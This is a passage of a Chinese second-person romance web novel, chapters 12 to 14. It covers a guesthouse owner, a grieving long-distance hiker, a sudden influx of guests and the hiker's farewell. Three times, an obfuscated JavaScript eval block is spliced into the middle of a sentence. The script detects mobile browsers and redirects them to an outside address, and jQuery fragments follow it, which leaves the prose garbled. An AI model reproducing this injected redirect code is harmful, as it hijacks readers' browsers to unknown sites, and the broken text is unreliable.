每隔十天半月,卧室门后悬挂的千纸鹤就会少一只。起初你并未在意,以为是频繁地开门关门引起千纸鹤翅膀上的棉线老化断裂脱落。直到某天你看见悠悠叼着东西溜进影音室,你才明白这个小家伙的良苦用心。 江子墨惊诧不已:“金毛的智商这么高吗?” 你点点头:“对啊,它们被选中当工作犬就是因为高智商。” 江子墨若有所思,端起茶杯喝了一口,茉莉花的香气令他茅塞顿开。“原来如此!我说它怎么直冲我而来却乖乖趴下,因为它知道我是住店的客人,所以按照春夜雨声的服务准则它不会咬我。” 你忍俊不禁:“悠悠从不咬人。在它眼中,人类这个群体没有坏人。” 他放下茶杯,话语中既有窘迫的成分,又带着几分释然:“小狗的嗅觉确实灵敏,它能在人群中精准地定位最怕狗的那个人。” “悠悠平常不上楼,只在一楼活动。晚上那会儿它悄悄溜掉,等我发觉不对劲去找,它已经跑到309门口了。” 他说:“幸好悠悠是金毛,假如是条比格,它肯定咬住我的裤腿,一路拖拽把我拽下楼梯。” 你笑出声,不小心被水煮蛋的蛋黄呛到,咳个不停。 江子墨抬手想帮你拍背,手伸到半空却及时收了回去。他起身拿来一只空纸杯,接了半杯饮水机里的温水,等你咳嗽缓解了才递给你。 “怪我,不该吃饭的时候和你聊天,喝点水润润嗓子。” 你摆手表示你不介意,同时向他说了声抱歉:“对不起,我没有嘲笑你。听了你的话,我想起第一次和悠悠见面给它洗澡的情景,好多年前的事了,当时闹了大乌龙,还好老夏没生气。” 江子墨抬眸,注视着你的眼睛。他的目光如雪后暖阳,不经意间抚平了你心头浮起的忧伤。 《春江花月夜》的前奏响起,他忽然拿起他的手机:“我的歌单你喜欢吗?” “喜欢。”你坦言,“可以分享给我吗?” 叮咚一声,新消息抵达。 你点击链接,把江子墨的纯音乐歌单加入收藏。正要问他想不想听听你的歌单,程燃出现在了影音室门口。 “小月,洗碗机修好了。” “辛苦你啦!” 你邀请程燃落座一起听音乐。他没推辞,坐到了你身旁,然后举起他的手机。 “听忱忱说今早这场纠纷影响了大家的心情,换首欢快的曲子怎么样?” 12. 第十二章 程燃命令般的提议,江念月没有接受。 “我们听得好好的,凭什么你一来就切歌?”她半开玩笑半严肃地说,“想听别的后边排队,这首《春江花月夜》播完才轮到你。” “切歌是有点唐突,你这么说倒是提醒我了。”程燃也不恼火,“不如晚上开个联欢会,组织大家唱K怎么样?” “不是谁都像你是个麦霸。天天带着你的学生唱歌还唱不够,又跑来刺激我们的耳朵?”江念月面朝你,抱歉地笑笑,“别搭理他,一说唱歌就疯了。” 你轻轻摇头,默然不语。 程燃将视线投向你:“子墨,你呢?晚上联欢会演什么节目?” 你嘴唇动了动,刚刚说出一个“我”字就被江念月打断了。“他身体还没恢复,晚上的事晚上再说。” 程燃想说什么又憋了回去,转而研究起茶几上的两份早餐。“小月,明天早晨给我也来一份你们的同款,主食加倍,热饮换成柠檬红茶。” 江念月捧着手机,认真地记录下来。 你从未谈过恋爱,却能敏感地捕捉到程燃对江念月单方面的情感表达不同寻常。一个假装无意的眼神,细微的表情和动作,都能充分显现这个男人掩藏不住的暗恋。 江念月编辑完备忘录,起身接听来电。从谈话内容不难听出,听筒对面是清早来过民宿的其中一位警官。 程燃和你一样,屏息静气地聆听通话内容,直到江念月摁下挂机键。 她回头,瞧见你们正襟危坐的姿势,不禁笑了:“事情基本解决了,你俩不用这么紧张。” 程燃松了口气:“我担心你啊!” 你悬着的心也放回原处,眼中的笑意被江念月看见了,她回你一个欣然明媚的笑。 “伍警官说熊沐诩承诺不会发布有关春夜雨声的视频。现在他和刘警官正开车赶去火车站,打算把熊沐诩安全送上车,再给她买些土特产。希望人心换人心,这事能告一段落。”她仰起脸,舒出一口气,“等雪停了我得去县城定制一面锦旗,好好感谢两位警官的帮忙。” “我陪你去吧?”程燃主动请缨,“你自己跑远路我不放心。” 江念月说:“我一个人习惯了,你多陪忱忱待几天。” 虽然遭到拒绝,程燃的热情却丝毫未减:“小月,不管你同不同意我都要陪你去,说定了啊,不许变卦!” 《春江花月夜》播放完毕,你连忙离开圆凳站起来,同时端走自己的餐盘。 “我断开手机蓝牙连接了,你们听别的歌吧。” 你的尴尬与窘迫,江念月看在眼里。她没说太多,只叮嘱一句按时服药好好休息,就坐回到沙发上,低头点开音乐APP页面开始选歌。 走出影音室,身后响起熟悉的旋律,是你剪辑纪念棉花糖专辑视频中用的一首配乐。 “雪一片一片一片一片,拼出你我的缘分。我的爱,因你而生,你的手摸出我的心疼……” 你握紧餐盘边沿,指关节陡然泛白。 乐声戛然而止。 你没走远,程燃已经切了歌。“心情够郁闷了,还听这么伤感的曲子?小月你可真叫人捉摸不透。” 江念月好像说了什么,你没有勇气继续听下去。把餐盘送进厨房,罗亦柯跟你说话你只是点了点头,逃也似的上楼回了房间。 喝下退烧药,你用被子蒙住头,泪水很快打湿了枕巾。 身体控制不住地颤抖。棉花糖与你相处的点点滴滴,化作一部定格动画电影,在你脑海中逐帧播放。 雪地里,它踩出通向远方的两行梅花脚印。冰凉的雪粒融化,它四只爪垫变得湿漉漉的,即使感觉到冷,它也没有停下脚步。 它一直向前,你一直跟在它身后。 凝望它的背影,凝望着它轻轻摇摆的毛茸茸的尾巴,你忽然坐直身体,擦去眼角的泪水。 无论面对多么恶劣的环境,棉花糖从不退缩,这就是它给你的启示。 走进浴室,你对着镜子,用民宿提供的一次性剃须刀刮掉新长出来的胡须。洗完热水澡,你换上洗净烘干的衣裤,把罗亦柯的训练服叠放整齐,装进手提袋,踱出房间敲了敲307的门。 “墨哥?”打开门的一瞬间,罗亦柯又惊又喜,“你回到颜值巅峰了!” 你把外套还给他,问他附近哪里能买到优质木柴。 罗亦柯反问:“你要帮春夜雨声囤物资吗?” “念月是我的救命恩人,这两天她像照顾家人一样照顾我,我想为她做些力所能及的事情。”你停顿半秒,接着说,“我马上启程了,打算采购三吨木柴码在房前屋后,帮她度过这个冬天。” 罗亦柯鼻子一酸,眼圈顿时红了。 “墨哥……” “奥运会遇见超强对手都没哭,现在也不许掉眼泪。”你上前,轻拍罗亦柯的后背,“大小伙子,记住,你是你小姨的坚实后盾,可不兴总哭鼻子啊!” “嗯,我记住了。”罗亦柯抹了把脸,“咱俩去趟管护站,杨站长应该知道哪里有卖木柴的,说不定林场就有销售点。” “你了解杨站长的喜好吗?” “墨哥你千万别送礼!”罗亦柯想到以前的糗事,脸色像熟透的红苹果,“我十四岁那年冬天,我爸我妈带我来找小姨玩,一家三口下了网约车就迷了路,在林子里走了半天,手机要么没电要么没信号,身上也没带应急装备,差点主动送上门成为野兽的下午茶。” 你饶有兴趣地问:“后来呢?” 罗亦柯说:“那天挺幸运的,走着走着就碰上了巡山的杨站长和他的爱人姜阿姨。他俩把我们一家三口送到春夜雨声就继续工作去了,压根儿没想过让我们报答。我妈问我小姨杨站长喝不喝酒,我小姨劝她打消送礼的念头,说实在要送就送锦旗和两件防水面料的羽绒服……” “我也是这么想的!” 你突然提高的嗓门吓了罗亦柯一跳:“墨哥你别激动,我还没说完。杨站长姜阿姨他们不收礼,只收了锦旗。” “收不收是一回事,我的心意必 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17029572|194525||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 须尽到。”你提议,“小柯,你陪我去趟县城,买好礼物咱们直接去管护站找杨站长。” 罗亦柯有所顾虑,压低声音说:“买三吨木柴这么大的事,征得我小姨同意再决定吧?” “什么都不做我更难受。”你心意已决,“穿外套吧,我在楼下等你!” - 如罗亦柯所说,杨站长只收锦旗,不肯收下羽绒服。无奈之下,你只好趁他不注意把羽绒服藏在管护站接待室沙发后面,然后和罗亦柯一起去了林场销售部。 交了定金,罗亦柯提出带你去一个好地方。 “墨哥,你有多久没滑过冰车了?” “不算徒步这八年在冰面上行走,我高中毕业以后就没玩过冰上项目了。” “那待会儿你正好热热身。”罗亦柯说,“你还不知道吧?估计我小姨没顾上向你推荐,离春夜雨声不远有一口池塘,是因为地势低洼天然形成的。每到冬天,夏秋积存的雨水就会结冰,变成了低水位的迷你冰湖。” 前几天从医院回来,你确实看见了一块被冰雪覆盖的区域:“冰湖是在咱们上山必经之路的西边吗?” “没错!”罗亦柯向你竖起大拇指,“不愧是我墨哥,行走的天然指北针,野外辨别方向的神。” 你笑了:“夸张,我没那么厉害。” 罗亦柯说:“别谦虚啊,像你这种级别的大佬,谦虚就是骄傲。” 你无奈地摇头:“北疆之旅那次,棉花糖跟着我吃了不少苦头。我们不止一回掉进冰窟窿,衣服鞋子湿了是小事,只要命还在,我就会一直往前走。” 罗亦柯收住脚步,触动之余眼圈又红了。 “墨哥,你说的都是心里话吧?能亲耳听见你说你不放弃,我真高兴——” “我不会辜负念月对我的恩情。”你长舒一口气,“还有你和所有粉丝,你们是我坚持徒步的动力。” 罗亦柯眨眨眼睛,掉了好几颗小珍珠:“墨哥,我多想你能成为我的家人,你说的话、做的事,和我们这一大家子太对路子了!” 你笑而不语。 等罗亦柯缓了缓神,你才说:“相遇就是缘分,何必纠结其他?你们对我的情谊,我记在心里。冷极之旅结束,返回途中要是有时间,我再来春夜雨声住几天。” 罗亦柯破涕为笑:“嗯,一言为定!” 约莫步行了十分钟,你们站到了冰湖东岸。湖畔的木房子屋顶落满白雪,偶有小小的黑影掠过头顶树枝,罗亦柯说那是物资告急出来觅食的小松鼠。 “小木屋里有标记着我们每个人名字的冰车,我用我自己的,墨哥你任选一辆吧!” 你比较了一圈,最终选定被透明防尘膜盖着的最靠近窗户的冰车。 掀开防尘膜,你看清冰车上的姓名标签——夏炎川。 罗亦柯搬出他的专属冰车,回头来看你选的。不知怎的,他面色一凛:“墨哥,你决定了吗?这辆还是换别的?” 你说:“不换了,这辆冰车和我投缘。” 13. 第十三章 接到林场木柴销售点的电话,你一时没反应过来。 得知订购人是江子墨,你连忙去309找他,却发现他不在房间。隔壁307的罗亦柯也不知所踪。 与销售点再三确认了木柴等级和重量,你摁下挂机键,徐步走下楼梯。 程燃察觉你脸色不对,误以为是又有人来找麻烦:“这回是哪个住客想讹钱,我跟他过过招。” 你摇头,坐进沙发眉头依然紧锁。 “小月,快来看!” 程燃急急地喊你。 你听见了,微微抬起头,不曾想大厅门外突然乌泱乌泱站着许多人。 眼前情景像极了你昨晚听书听的末世文,这些背包客戴帽子戴口罩,脸挡得严严实实,衣服鞋子沾满冰雪,仿佛是从很远的地方跋涉而来。 赵思忱在房间直播,毫无接待经验的程燃只得临时担任前台,招呼来客做登记。 你为等在大厅的客人端茶倒水,稍清闲时立刻发信息给赵思忱。 “一楼来了十五位新客,忱忱,是你在直播间打了广告吗?” “姐姐,不是我,我正在给粉丝介绍自然保护区、周边滑雪场和特色农村大集。” 奇怪。 你思忖片刻,拨出江子墨的号码。 铃声响过三遍,对面接通了。“怎么了,念月?” “你和小柯在一起吗?” “我们在冰湖这里。”他的声音高亢嘹亮,完全没有了初次见面时的低沉沙哑,“小柯推荐我滑冰车,我觉得非常不错,你把它列为民宿游玩项目吧,可以增加收入!” 林中信号不佳,听筒里滋啦滋啦的电流声叩击着你的耳膜。 “有件事我要问你——这会儿突然涌进来好多客人,是不是你发视频做的广告?” 江子墨答得相当快速:“我没有。你说过春夜雨声只接待有缘人,我不会做让你为难的事情。” 你决定暂且相信他。 “木柴是怎么回事?民宿这边有电,地下室也有柴油发电机,储备三吨木柴难道你要让我开家烧烤店吗?” 听筒那边安静了六七秒,江子墨的声音远远传来:“我发现悠悠特别喜欢趴在大厅壁炉前面地毯上,就想着多买些木柴,把一楼的温度提上去,这样不管是人还是小狗,谁都不会挨冻。” 你心中一动,思绪乱了,半晌才对他说了声“谢谢你”。 “既然是朋友,总说谢谢就生疏了。” “好,以后我不说。” 听筒那头的声音时断时续,你好不容易才听清江子墨的话:“你和程燃先应付着,我和小柯尽快赶回去!” - 春夜雨声上次客房爆满还是六年前。 当时是冰雪节旅游旺季,景点和滑雪场周边的酒店民宿被南方游客订购一空。文旅部门通过林场负责人找到了你,询问你春夜雨声的客房能容纳多少位住客。 你如实相告——共三十间客房,十五个标准间,十五个大床房。倘若需要,游戏室和影音室也能腾出空间住八至十人。 与你对接业务的文旅局工作人员名叫帅小山,是个说话做事雷厉风行的女孩子,姓氏独特,名字中性,相貌声音与赵思忱有七分相似。和她打交道的过程中,你始终觉得亲切。 你的朋友都是常见姓,认识帅小山是你第一次接触帅这个稀有姓氏。 今天忽然来了这么多客人,你最先想到的就是帅小山没提前打招呼帮忙做的推介。 你随机拦下一位新客,不料她的回答模棱两可,一会儿说是从网约车司机那里打听到的,一会儿又说拖着行李路过山脚下民宿的指路牌,为了满足好奇心就来住两晚。 拨打帅小山的手机,机械的电子音提示你对方正在通话中。 问题太多,你按照轻重缓急迅速排序,打算把紧急且重要的解决掉再考虑其他。 你盘点完食材库存,正要上楼为客人送儿童枕,江子墨和罗亦柯推门走了进来。 “破案了,小姨!帮咱们广而告之的是那天送墨哥和我回来的司机师傅。”罗亦柯晃了晃手机,“刚才他给我发信息,问我春夜雨声能不能同时接待十几个人,还问我有没有空房间,他想订房陪老伴儿过个浪漫的周末。” 你望望在前台忙碌的赵思忱,远远地打了个问号的手势。 赵思忱高举双手,左手比零,右手比三,紧接着双臂环成圆圈,用手势提醒你仅剩大床房。 “三间大床房。”你说。 “帅师傅不挑房型,我这就给他回消息。” 你摁住罗亦柯的手:“司机姓帅?” “嗯,很稀有的姓。”罗亦柯点开好友详情页,让你看他标记的备注,“五星司机,帅万辉师傅。” 帅万辉,帅小山,父女俩? 你的猜测很快得到了印证。 帅小山在回电里说,周末是她爸妈结婚三十周年纪念日,她想请你帮忙出出主意,双人份的爱心晚餐应该吃哪些寓意好的菜。 你说给你两个小时斟酌,稍后再通电话。 人与人的缘分,奇妙而温暖。 六年前,你协助帅小山圆满地完成工作,和她成为朋友;六年后,你帮帅师傅叫拖车、送他充电宝应急,他如今成了春夜雨声客满的贵人。 情谊是相互的,有来有往。 在创意制作结婚纪念日爱心晚餐这件事上,你发自内心地想要交一张完美的答卷。 安顿好新住进来的客人,时间已是差十分十一点。 因人数众多,你叮嘱赵思忱随机应变,将今明两天的早午晚餐由个性化定制改为风格统一的菜单,打印出来发放给每位客人。 踱进厨房,你摘下门边挂着的围裙,却瞧见江子墨和罗亦柯已经在洗菜切菜了。 “小姨——”罗亦柯喊你,“墨哥说你一个人忙不过来,今天我俩负责打下手,你负责炒菜。” “辛苦两位。”你上前,看了看数十个盘碗中无可挑剔的备菜,困扰你的焦灼顿时烟消云散,“谁的刀工这么好?百分之百不是小柯。” 罗亦柯眼睛瞪得溜圆:“夸墨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17029573|194525||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哥你直接夸啊,不准拉踩!” 你不语,只是望着他笑。 江子墨抬起右胳膊肘,碰了碰撅嘴想要罢工的罗亦柯:“好好干活!闹情绪中午没饭吃。” 罗亦柯“哇呀呀”叫了一声,用力掰开手中的卷心菜。 “坏小姨,坏墨哥,你俩合伙欺负我,等磊叔回来,我得让他评评理!” “谁找我?” 曹磊风尘仆仆地出现在厨房门口。他双手各拎一只超大号的购物袋,里面装的食材令你惊呼不已。 “磊哥,你办事无与伦比的靠谱!” 腊肉、腊肠、火腿,酸菜、泡菜、腌制雪里蕻,极大程度地丰富了菜单的内容。你没想到的,他全都做到了。 曹磊放下购物袋,走到水池边洗手。 “不错,看得出子墨厨艺水平很高。小柯还得加练,努力向你小姨和子墨学习,争取早日出师。” 罗亦柯以为曹磊和自己一伙,结果被说教一通,掰卷心菜又掰得手疼,想哭的心思都有了:“两个人欺负我还不够,磊叔你怎么也这样?” “臭孩子,这叫点拨,不叫欺负。”曹磊拍拍罗亦柯肩膀,“你的手是握球拍的,做菜不适合你。上楼休息去,元旦之后你要参加WTT冠军赛,养精蓄锐才能拿第一。” 罗亦柯执意要帮忙,曹磊看看你,像是在说这孩子和你一样犟。 你笑了,系好围裙开始蒸米饭、蒸面点。“没事的,磊哥,让小柯锻炼锻炼。将来他出国打比赛,学会做饭总比啃干巴面包强。” - 夜深了。 你安抚做噩梦的悠悠,为它盖好毯子。钻进被窝,你难得有了沾枕即着的睡意。 曹磊先后运来的两批物资,江子墨专程去林场订购的木柴,他们准确的预判,解了你的燃眉之急,令你心生佩服。 春夜雨声总共有五个壁炉,分布于一楼大厅、影音室、游戏室,以及三楼东侧西侧的两间高穹顶特色房。 五间房内饰的画作是老夏帮你选的,它们分别是蕴含诗意的临摹版《洛神赋图》《烟江叠嶂图》《桃源问津图》《辋川图》和《千里江山图》。 起初,你并不懂得如何欣赏这些画作各有千秋的美,也没读懂老夏借画寄托的情思和深意。直到去年春天,你带悠悠回燕都,在农大动物医院做全身体检,结识了一位从事字画修复的非遗传承人盛老师。 经他老人家细致的讲解,你明白了老夏想要对你说的话。 他劝你看开,劝你放手,劝你不要执着于过去,要向前看,要好好生活。 道理你都懂。 然而你做不到。 盛老师听完你和老夏的故事,赠给你一幅字,出自苏轼的《望江南·超然台作》。短短五个字,惹你泪流不止。 ——诗酒趁年华。 “你的爱人是个很好的人。”盛老师说,“他借这五幅画告诉你,以前的事该忘了,小月,你能做到吗?我想,你一时半会儿做不到。没关系,慢慢来,总有一天,你能理解他的苦心。” 14. 第十四章 清晨四点半,你置顶了你的评论:即刻启程。 消失在社交媒体的七十二小时里,你视频的评论区和后台私信剧增,大部分是粉丝发的,偶尔穿插一些品牌方的广告邀约。 你没有回复,点掉提醒就将手机锁屏。 收拾好床铺和装备,你抬头看了一眼房间门后的温度湿度计,室温23度,相对湿度55%。 实在舍不得离开这么温暖的地方。 更舍不得与待你如家人的朋友们分开。 轻轻拉开房门,你走到楼梯口,朝一楼大厅方向张望。江念月应该还没开始做早餐吧?昨天晚饭过后,你和她一起制作了五十份早餐面点,又在她忙着解答客人疑问时卤好了二十斤酱牛肉。 有了网约车司机的大力推荐,春夜雨声过年前的客源不用愁了。 大致估算了时间,等你从根河市返回,差不多也到了农历腊月二十四左右。你还不确定江念月是否留在民宿过年。如果她留下,你想提前预订房间,在春夜雨声住上十天半月,好好享受放空的日子。 你来到她房间门外,把昨晚写的一封信折成四方块,从门下方慢慢塞了进去。 当面告别太过伤感,发信息又缺少诚意,你希望通过这种功能方式和她说声再见。你直起身体,刚迈出一步,门把手突然转动一下,门从里面打开了。 悠悠从门缝里露出黑色素褪去的鼻头,喉咙里发出低低的声音。 你壮着胆子摸摸它,小声说把门关上。悠悠听懂了,扬起下巴冲你眨眨眼睛,抬爪推上房门。 门锁的咔嗒声和防盗链的摩擦声吵醒了江念月。 不等你转身,她已经披着羽绒服站在了你面前。“起这么早?”她回头望望屋里的时钟,“昨晚你陪我卤肉卤菜到半夜,今天多睡一会儿才能养足精神。” “我要出发了。”当面道别,你有些赧然和不自在。 “千万别再去大采购,我这儿物资充足。”她显然没反应过来,“我想着上午九点以后给萧医生打个电话,请她来帮你检查脚伤。” “不用担心,伤口结痂了。”你说,“念月,我行李收拾好了,外面雪也停了,我……” 她怔怔地望着你,半晌才明白你想说的是再见。 “小柯和我都觉得你应该多休息几天。不过这样也好,按照你的计划徒步到根河,抵达终点的时候刚好是立春,那时天暖和了,露营就少了很多危险。” “这些天幸好有你们照顾,我恢复得很快。”你说,“本来不敢当面道别,我写了封信,刚才塞进门里,被悠悠发现了逮个正着。” “有什么不敢的?”江念月笑了,大方而明媚。她回头一瞧,果然,悠悠嘴里叼着一封信。 她弯腰拿过信,并未立即打开。 “子墨,你先回房间搬行李,我准备一些食品药品你带上,以备不时之需。” 你刚要说谢谢,忽然间想起你们的约定,连忙收住了话头。等你把装备全部搬下楼,江念月递过来一个防水面料的大号斜挎包。 “三个夹层,左边是干酪、黄油和压缩饼干,右边是常备药,中间一层我装了火柴,用保鲜膜和油纸包了好几层。” 你接过斜挎包,胸口像堵了棉花般说不出话。 “我可得提醒你,保护区周边禁止使用明火。往北走出这片林子,看到主路的指示牌,然后你往西再往北,五十公里以外有理想的露营地。” 你抬眸。 目光交汇的刹那,你清晰地听见自己的心跳声。 “这条路线就是我做的规划。念月……你研究地图了?” “没什么,新粉丝做的一点功课。”她示意你稍等片刻,小跑着回了趟房间,手里拿了个透明文件袋,郑重地交给你。 “这是?” “我在储藏室找到的旧地图,姥爷亲手绘制的。虽然没有新修的公路和信号塔,但河流走向和野兽出没点变化不大——你收好,带在身上当个护身符。” “太贵重了,我不能要。” 你连声拒绝,却没有江念月手快。她拉开斜挎包中间层的拉链,把旧地图和火柴放在了一起。 “我说拿着就拿着!” “等我回来……”你极力按捺心中的激动,又发觉语言不足以表达你真实的想法,短暂冷静后你向她伸出右手,“等我从根河回来,我想和你再见一面。” 她轻轻握住你的手:“也许我要回老家过年,现在还说不准。” 你说:“交通发达的时代,不管你在哪里,我都有办法见到你。” “是啊,到时咱们约个时间地点,我请你吃烧烤。”她不无担忧地看着你,好一会儿才说,“保持联络,注意安全。” “好。”你松开手,退后半步站到行李旁边。 “那我回房间了。”她的声音微微颤抖着,“有事不要硬扛,记得好好照顾自己。” 你点点头:“我会的。” - 重回日行五十公里的行进节奏,你心无旁骛,埋头向前走。 抵达根河市得耳布尔镇,比预估时间提前三天,你选择住店休整。不同于去冷极点打卡拍照的游客,你的目标除了冷极点和冷极村,还有根河市北部的一座山峰——大兴安岭北段主脉最高峰,海拔1523米的阿龙山奥克里堆峰。 你曾许诺带棉花糖攀上这座以保存古冰川遗迹闻名的山峰。 如今棉花糖不在了,你决定怀揣着装有它胡须的玻璃瓶,登上山顶让它看一看云端的风景。 下山途中,你收集了落叶松的松针、柴桦的枝条和几枚颜色各异的小石头,连同你在当地购买的土特产一块儿打包。开启冷极点直播的前一天,你在当地邮局寄出包裹,收件地址是春夜雨声,收件人是江念月。 把单号拍照发给她,你简短地写了一句:可惜山顶积雪和山腰泉水无法邮寄。 她没有回消息,也许在忙吧? 你下馆子吃了碗面,返回路上拍摄了一些素材,带回酒店剪辑。 正为配乐举棋不定时,你收到了江念月的消息。 “子墨,你姐姐来找你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17029574|194525||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。我安排她住在一楼我的对门115房间,看到这条消息给我回个电话。” 你以为自己看错了,拿着手机反复确认了三遍。 作为一间特色民宿,春夜雨声的地理位置极其隐蔽,不经熟人介绍带路根本找不到。再者,姐姐并不知道你冷极之旅的具体行进路线,怎么会如此精准地找到你曾经住过的店? 百思不得其解的是你,为明天直播焦躁的也是你。 这时,你无意低下头,瞥见身上穿的白色浴袍胸口绣有酒店Logo。急忙打开手机相册,你翻找二十多天前在春夜雨声的自拍,发给姐姐的那张。 果然,浴袍前襟有“春夜雨声”四个字的刺绣。 粉丝们总说你是地理达人、人形指北针,看来你的姐姐也是。仅凭民宿名称就能不远千里找上门,舍她其谁! 关键是年前这个节骨眼,丝雨绣坊的客流量是一年中最大的,潼城以及全国各地慕名而来定制绣品的人络绎不绝。抛下红火的生意不做,姐姐偏偏选在此时出行,莫非遇见了必须躲避才能解决的难题? 你关闭剪辑软件,点开和姐姐聊天的对话框,拨出视频通话。 铃声响过第一遍,姐姐没接听。你又拨,等待数十秒她的脸庞才出现在画面中。 “晚上再打吧,我和面呢!” “和什么面?”你一阵晃神,“念月那里不是有和面机吗?” “你是不是叫零下四十多度把脑子冻木了?油泼面怎么能用机器和面?”姐姐言语犀利,“我带了五斤秦椒辣椒面来,炸的辣子可香了!小月说她没吃过正宗的油泼面,我打算一展身手做给她吃。” 手机扬声器传出江念月的声音:“雨凝,葱花是用大葱还是洋葱,哪个味道更好?” 姐姐的脸骤然凑近,声音压得极低:“晚上八点再联系,我去做饭了!” 通话结束,你盯着暗下去的手机屏幕发呆。 小月,雨凝,你生命中两位重要人物一见如故。对你而言,这是好事。 不对……姐姐是不是误会了? 你心乱如麻,一筹莫展之际肚子又来添乱。烧了壶开水,你把下午买的桶面泡上,坐回桌旁继续剪辑视频。 笃笃笃! 房间的门被人敲响。 随即是客房服务员的询问:“江先生,您订的外卖到了。我给您送过来还是放在前台您自取?” “我没订外卖。”你隔着门板说,“麻烦您帮忙处理掉。” “确定不是您订的?”服务员也懵了。 “不是。”你说,“我在外面吃过晚饭才回的酒店。” “好吧,我知道了。” 你伫立门边静静听着门外的动静,等服务员走远,你挂上了防盗链,又拿了一只玻璃杯套在门把手上。 自从棉花糖出事,为了保障人身安全,你实时发布视频的习惯彻底改了。有时隔五天更新,有时会拖延至下一个地点才发上一个露营地的视频。 除了酒店工作人员,你想不出还有谁会暴露你当前的定位。